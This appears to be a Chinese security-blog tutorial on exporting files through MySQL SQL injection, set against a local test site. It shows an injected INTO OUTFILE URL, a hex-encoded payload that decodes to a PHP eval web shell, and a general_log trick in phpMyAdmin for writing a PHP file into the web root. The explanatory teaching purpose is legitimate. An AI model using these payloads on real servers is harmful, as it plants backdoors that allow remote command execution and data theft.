点击蓝字,关注我们
欢迎转发,请勿抄袭!
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。如果不懂?那就看看前几天本公众号发的推文。
那么今天主要讲的是如何从注入导出文件。sql导出文件是被允许的操作。但条件有时候也比较苛刻,什么时候才能用,什么时候才能用。
先上一个带有注入的代码;数据库名test,表名test;字段名id和name。
很简单的查询语句,没有一点过滤,这个代码是存在注入漏洞的。先查看是否存在导出功能。在SQL执行
show variables like '%secure%';
返回了如下图;
看不懂没关系,暂时不管他,我们也尝试导出文件。
出现了报错,显然是不能导出。那么我们在url也进行尝试导出,构造url:
http://test.com/sql.php?id=1' union SELECT * INTO OUTFILE 'D:\phpstudy_pro\WWW\1.php' FROM test #
返回为0。两次在文件夹均未找到对应的1.php。
那么,我们把secure_file_priv字段修改成一个空格。文件在mysql安装的路径的my.ini配置文件中。
修改完,重启mysql,在SQL执行
show variables like '%secure%';
返回了如下图;
再次执行导出命令,
没有发现报错,同时在www的文件夹,找到了1.php。那么在url也进行导出,为了避免冲突,我在url导出的文件名为2.php
发现也是能导出来的。也能存在1.php,写出一句话的方法为palyad
select 1,0x3C3F706870206576616C28245F504F53545B27636D64275D293B3F3E into outfile "D:\phpstudy_pro\WWW\test.com\xx.php" from test
这里为什么第二个字段要用十六进制。是因为符号转义的原因。防止被转义,需要变成十六进制。
那么发现什么时候才能满足导出的条件。以下总结:
secure_file_prive=null ––限制mysqld 不允许导入导出
secure_file_priv=/path/ – --限制mysqld的导入导出只能发生在默认的/path/目录下
secure_file_priv='' – --不对mysqld 的导入 导出做限制
同样;导入文件也需要这样的条件;只能数据库root用户能执行这类操作,普通用户无权限。Linux环境也是。
总结:目录文件是否限制、是否为高权限用户。
如果前面机会失去了,那么有机会进去了phpmyadmin的话,可以通过查询日志导出小马的!具体操作,在phpmyadmin执行;
SHOW VARIABLES LIKE '%general%';
得到两个参数,第一个是否开启,第二个日志保存的文件路径,之后执行payload;
set global general_log = "ON";SET global general_log_file='C:\php\WWW\testshell.php';
无报错,之后随便执行,一个写马的查询
如
select '<?php phpinfo();?>'
,会将存放在日志文件中
避免数据过多,需要执行关闭日志操作
set global general_log = "OFF";
将testshell.php移动到test.com目录下,在浏览器请求得到。
也是能成功解析的~在phpmyadmin也是需要这类操作也是需要高权限用户哦~~~
温馨提示:注意linux和win的路径写法的区别。
文章声明:本文仅供学习参考,请勿非法使用!
还没进来的粉丝,赶紧哈,满200就要私加我才能进群了!!
群里会不定时分享技术、经验。
扫码关注我们
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论